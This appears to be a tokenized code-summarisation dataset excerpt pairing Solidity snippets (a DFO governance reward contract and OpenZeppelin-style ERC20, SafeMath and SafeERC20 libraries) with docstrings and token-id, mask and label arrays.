-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x7704389C0a827758c8761EA6176d185109da3aC7/sources/Proto.sol | Dolphin UN Charity Safe
| charity.push(0xd946E333a944068990f49cBFf7f0258Fa05f7611); | 12,278,224 | [
1,
40,
355,
844,
267,
5019,
3703,
560,
14060,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1149,
560,
18,
6206,
12,
20,
7669,
29,
8749,
41,
3707,
23,
69,
29,
6334,
7677,
28,
2733,
20,
74,
7616,
71,
15259,
74,
27,
74,
20,
2947,
28,
29634,
6260,
74,
6669,
2499,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BSD-2
pragma solidity ^0.6.0;
/*
* @title DFO Protocol - Community-Driven Governance.
* @dev This is the well-known Functionality provided by the DFO protocol, which is triggered when a Proposal
* is finalized (whether it is successful or not).
* In case the Proposal Survey is successful (result value set to true), its proposer will receive
* an amount of Voting Tokens as a reward.
* The reward amount is initially decided during the DFO Creation and can be changed with a proposal
* changing the value of the surveySingleReward variable set into the DFO StateHolder.
*/
contract CommunityDrivenGovernance {
string private _metadataLink;
/**
* @dev Constructor for the contract
* @param metadataLink Link to the metadata of all the microservice information
*/
constructor(string memory metadataLink) public {
_metadataLink = metadataLink;
}
/**
* @dev GETTER for the metadataLink
* @return metadataLink Link to the metadata
*/
function getMetadataLink() public view returns (string memory metadataLink) {
return _metadataLink;
}
/**
* @dev Each Microservice needs to implement its own logic for handling what happens when it's added or removed from a a DFO
* onStart is one of this mandatory functions.
* onStart is triggered when a microservice is added.
* The method body can be left blank (i.e. you don't need any special startup/teardown logic)
* The only strict requirement is for the method to be there.
*/
function onStart(address, address) public {}
/**
* @dev Each Microservice needs to implement its own logic for handling what happens when it's added or removed from a a DFO
* onStop is one of this mandatory functions.
* onStop is triggered when a microservice is removed.
* The method body can be left blank (i.e. you don't need any special startup/teardown logic)
* The only strict requirement is for the method to be there.
*/
function onStop(address) public {}
/**
* @dev Trigger for the finalization of a proposal.
* @param proposal Address for the proposal
* @param result
*/
function proposalEnd(address proposal, bool result) public {
if (!result) {
return;
}
IMVDProxy proxy = IMVDProxy(msg.sender);
if (
IMVDFunctionalitiesManager(proxy.getMVDFunctionalitiesManagerAddress())
.hasFunctionality("getSurveySingleReward")
) {
uint256 surveySingleReward = toUint256(proxy.read("getSurveySingleReward", bytes("")));
if (surveySingleReward > 0) {
proxy.transfer(
IMVDFunctionalityProposal(proposal).getProposer(),
surveySingleReward,
proxy.getToken()
);
}
}
}
function toUint256(bytes memory bs) private pure returns (uint256 x) {
if (bs.length >= 32) {
assembly {
x := mload(add(bs, add(0x20, 0)))
}
}
}
}
interface IVotingToken {
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface IMVDProxy {
function getToken() external view returns (address);
function getMVDFunctionalitiesManagerAddress() external view returns (address);
function transfer(
address receiver,
uint256 value,
address token
) external;
function hasFunctionality(string calldata codeName) external view returns (bool);
function read(string calldata codeName, bytes calldata data)
external
view
returns (bytes memory returnData);
}
interface IMVDFunctionalityProposal {
function getProposer() external view returns (address);
}
interface IMVDFunctionalitiesManager {
function hasFunctionality(string calldata codeName) external view returns (bool);
}
| * @dev Trigger for the finalization of a proposal. @param proposal Address for the proposal @param result/ | function proposalEnd(address proposal, bool result) public {
if (!result) {
return;
}
IMVDProxy proxy = IMVDProxy(msg.sender);
if (
IMVDFunctionalitiesManager(proxy.getMVDFunctionalitiesManagerAddress())
.hasFunctionality("getSurveySingleReward")
) {
uint256 surveySingleReward = toUint256(proxy.read("getSurveySingleReward", bytes("")));
if (surveySingleReward > 0) {
proxy.transfer(
IMVDFunctionalityProposal(proposal).getProposer(),
surveySingleReward,
proxy.getToken()
);
}
}
}
| 6,390,821 | [
1,
6518,
364,
326,
727,
1588,
434,
279,
14708,
18,
225,
14708,
5267,
364,
326,
14708,
225,
563,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14708,
1638,
12,
2867,
14708,
16,
1426,
563,
13,
1071,
288,
203,
3639,
309,
16051,
2088,
13,
288,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
6246,
21544,
3886,
2889,
273,
6246,
21544,
3886,
12,
3576,
18,
15330,
1769,
203,
3639,
309,
261,
203,
5411,
6246,
21544,
2083,
287,
1961,
1318,
12,
5656,
18,
588,
49,
21544,
2083,
287,
1961,
1318,
1887,
10756,
203,
7734,
263,
5332,
2083,
7919,
2932,
588,
22165,
5281,
17631,
1060,
7923,
203,
3639,
262,
288,
203,
5411,
2254,
5034,
14902,
5281,
17631,
1060,
273,
358,
5487,
5034,
12,
5656,
18,
896,
2932,
588,
22165,
5281,
17631,
1060,
3113,
1731,
2932,
6,
3719,
1769,
203,
5411,
309,
261,
21448,
5281,
17631,
1060,
405,
374,
13,
288,
203,
7734,
2889,
18,
13866,
12,
203,
10792,
6246,
21544,
2083,
7919,
14592,
12,
685,
8016,
2934,
588,
626,
5607,
9334,
203,
10792,
14902,
5281,
17631,
1060,
16,
203,
10792,
2889,
18,
588,
1345,
1435,
203,
7734,
11272,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library ERC20WithFees {
using SafeMath for uint256;
using SafeERC20 for IERC20;
